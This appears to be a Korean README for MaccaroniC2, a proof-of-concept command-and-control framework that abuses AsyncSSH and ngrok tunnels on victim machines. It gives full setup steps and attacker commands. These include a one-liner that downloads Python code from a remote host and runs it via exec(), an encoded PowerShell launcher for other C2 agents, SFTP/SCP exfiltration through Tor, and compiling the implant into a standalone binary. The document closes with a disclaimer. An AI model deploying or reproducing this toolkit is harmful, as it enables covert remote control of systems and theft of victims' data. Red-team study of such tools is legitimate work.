
개념 증명(Proof-of-concept)용 명령 및 제어(Command & Control) 프레임워크로, SSHv2 프로토콜의 비동기 클라이언트 및 서버 구현을 제공하는 강력한 AsyncSSH Python 라이브러리를 활용하며, ngrok 통합을 위해 PyNgrok 래퍼를 사용합니다.

MaccaroniC2는 강력한 AsyncSSH Python 라이브러리를 활용하는 개념 증명 Command and Control 프레임워크입니다. 이 라이브러리는 SSHv2 프로토콜의 비동기 클라이언트 및 서버 구현을 제공하며, PyNgrok 래퍼를 통해 ngrok 통합을 사용합니다. 이 도구는 피해자가 AsyncSSH 서버를 실행하고 외부로 터널을 설정하여 공격자가 명령을 받을 준비가 된 특정 시나리오에서 영감을 받았습니다.
공격자는 Ngrok 공식 API를 활용하여 터널의 호스트 이름과 포트를 검색하고 연결을 설정합니다. 이 접근 방식은 AsyncSSH가 제공하는 포괄적인 기능을 활용하며, 여기에는 SFTP 및 SCP에 대한 통합 지원이 포함되어 안전하고 효율적인 데이터 유출 등을 가능하게 합니다.
또한 공격자는 SOCKS 프록시를 사용하여 시스템 명령을 보내고 실행할 수 있으며, 예를 들어 TOR를 사용하여 익명성을 강화하는 이점을 활용할 수 있습니다.
python3 gen_rsa.py를 실행하여 SSH 키 쌍을 생성합니다. 새로 생성된 id_rsa는 공격자가 피해자 시스템에서 실행 중인 서버에 연결하는 데 사용됩니다.
asyncssh_server.py 파일을 편집하고 새로 생성된 id_rsa.pub의 내용을 pub_key 변수에 넣습니다. asyncssh_server.py는 SFTP 및 SCP 기능을 갖춘 SSHv2 프로토콜 구현을 제공합니다. 이 스크립트는 피해자가 실행합니다.
Ngrok 웹사이트에서 무료 계정을 만들고 AUTH 토큰을 기록해 둡니다.
asyncssh_server.py의 token 변수에 AUTH 토큰을 추가합니다. 이는 ngrok_tunnel() 함수 내에 하드코딩되어야 합니다.
Ngrok 웹사이트에서 무료 API 키를 생성합니다. 생성된 문자열을 기록해 둡니다.
async_commander.py 파일의 변수에 키 문자열을 넣습니다. 이를 통해 자동화 중에 Ngrok 공식 API를 사용하여 활성 터널의 도메인과 포트를 자동으로 검색할 수 있습니다.
async_commander.py를 사용하면 서버에 모든 명령을 보낼 수 있습니다. Ngrok 공식 API를 사용하여 피해자가 활성화한 Ngrok 터널의 도메인과 포트를 자동으로 요청합니다.
또한 id_rsa는 async_commander.py와 같은 폴더에 있어야 합니다.
피해자 시스템에서 서버 실행:
python3 asyncssh_server.py
공격자 시스템에서 SOCKS 프록시를 사용하여 명령 전송:
python3 asyncssh_commander.py "ls -la" --proxy socks5://127.0.0.1:9050
프록시 없이 명령 전송:
python3 asyncssh_commander.py "whoami"
다른 C2 에이전트 (Powershell-Empire, Meterpreter 등) 실행:
python3 asyncssh_commander.py "powershell.exe -e ABJe...dhYte"
Meterpreter web_delivery 모듈
python3 asyncssh_commander.py "python3 -c \"import sys; import ssl; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=('urlopen',)); r=u.urlopen('http://100.100.100.100:8080/YnrVekAsVF', context=ssl._create_unverified_context()); exec(r.read());\""
활성 터널 목록 가져오기:
python3 get_endpoints.py
새로운 RSA 키 쌍 생성:
python3 gen_rsa.py
SFTP 및 SCP 사용 - 올바른 id_rsa만 있으면 유효한 사용자 이름이 필요하지 않습니다.
proxychains sftp -P NGROK_PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -o ProxyCommand="nc -x localhost:9050 %h NGROK_PORT" source_file ddddd@NGROK_HOST:destination_path
sftp -P PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -P PORT source_file ddddd@NGROK_HOST:destination_path
python -m pip install nuitka
python -m nuitka --standalone --onefile asyncssh_server.py
https://github.com/hacktivesec/MaccaroniC2/blob/main/weaponized_server.py
자세한 내용은 관련 기사를 확인하십시오: https://blog.hacktivesecurity.com/index.php/2023/06/05/inside-the-mind-of-a-cyber-attacker-from-malware-creation-to-data-exfiltration-part-1/
면책 조항: 이 도구는 테스트 및 교육 목적으로만 사용됩니다. 적절한 승인을 받은 시스템에서만 사용해야 합니다. 이 도구의 무단 또는 불법 사용은 엄격히 금지됩니다. 이 도구의 제작자는 사용으로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 이 도구를 사용하는 동안 관련 법률 및 규정을 준수하시기 바랍니다. 또한, 이 도구와 함께 Ngrok를 사용하면 특정 플랫폼의 서비스 약관이나 정책을 위반할 수 있습니다. 잠재적인 계정 차단이나 중단을 방지하기 위해 모든 플랫폼 또는 서비스의 이용 약관을 검토하고 준수하는 것이 좋습니다.
api_keyAPIget_endpoints.py 파일에도 동일한 단계를 수행합니다. 이 스크립트는 활성 터널에 대한 다양한 유용한 정보를 검색합니다.